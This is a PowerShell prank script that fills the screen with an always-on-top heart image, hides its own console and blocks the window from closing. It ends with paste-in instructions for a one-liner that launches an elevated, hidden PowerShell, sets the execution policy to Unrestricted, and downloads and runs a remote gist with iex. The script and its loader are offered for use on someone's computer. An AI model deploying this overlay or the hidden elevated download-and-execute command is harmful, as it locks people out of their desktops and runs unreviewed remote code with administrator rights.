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heart.ps1

Param(
    [string]$uri = "https://pluspng.com/img-png/heart-png--3100.png"
)

Add-Type -AssemblyName PresentationFramework | Out-Null
Add-Type -AssemblyName System.Drawing | Out-Null
Add-Type -AssemblyName System.Windows.Forms | Out-Null
Add-Type -AssemblyName WindowsFormsIntegration | Out-Null
[void][System.Windows.Forms.Application]::EnableVisualStyles()

[Xml]$xaml = @"
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    WindowStyle="None" ResizeMode="NoResize"
    AllowsTransparency="True" ShowInTaskbar="False"
    WindowStartupLocation="CenterScreen"
    Topmost="True" WindowState="Maximized">
    <Window.Background>
        <ImageBrush x:Name="image" Stretch="2"/>
    </Window.Background>
</Window>
"@

$Window = [Windows.Markup.XamlReader]::Load((New-Object -TypeName System.Xml.XmlNodeReader -ArgumentList $xaml))
$xaml.SelectNodes("//*[@*[contains(translate(name(.),'n','N'),'Name')]]") | ForEach-Object -Process {
    Set-Variable -Name ($_.Name) -Value $window.FindName($_.Name) -Scope Script
}

$window.Add_Closing( { [System.Windows.Forms.Application]::Exit(); Stop-Process $pid })
$windowcode = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' 
$asyncwindow = Add-Type -MemberDefinition $windowcode -name Win32ShowWindowAsync -namespace Win32Functions -PassThru 
$asyncwindow::ShowWindowAsync((Get-Process -PID $pid).MainWindowHandle, 0) | Out-Null
[System.Windows.Forms.Integration.ElementHost]::EnableModelessKeyboardInterop($window)
$window.Show()
$window.Activate()
$window.Add_closing( { $_.cancel = $true })

[byte[]]$byte = (Invoke-WebRequest -Method GET -Uri $uri -UseBasicParsing).Content
$base64 = [Convert]::ToBase64String($byte)

$bitmap = New-Object System.Windows.Media.Imaging.BitmapImage
$bitmap.BeginInit()
$bitmap.StreamSource = [System.IO.MemoryStream][System.Convert]::FromBase64String($base64)
$bitmap.EndInit()
$bitmap.Freeze()

$image.ImageSource = $bitmap

$appContext = New-Object System.Windows.Forms.ApplicationContext 
[void][System.Windows.Forms.Application]::Run($appContext)

In order to run this: open Powershell then execute these following commands (copy all and paste by pressing right-click onto the Powershell console):

saps powershell -Verb RunAs -ArgumentList ('-Command "{0}"' -f $(icm -ScriptBlock $([scriptblock]::create( {
Set-ExecutionPolicy Unrestricted -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
$gist="https://gist.githubusercontent.com/kylesmile1103/fb49adb4cfcb4658365aef2efb84227f/raw/f93e210cc432d6551ae933edbbf7d52fd0200f8b/heart.ps1"
iex((New-Object System.Net.WebClient).DownloadString($gist));
})))) -WindowStyle hidden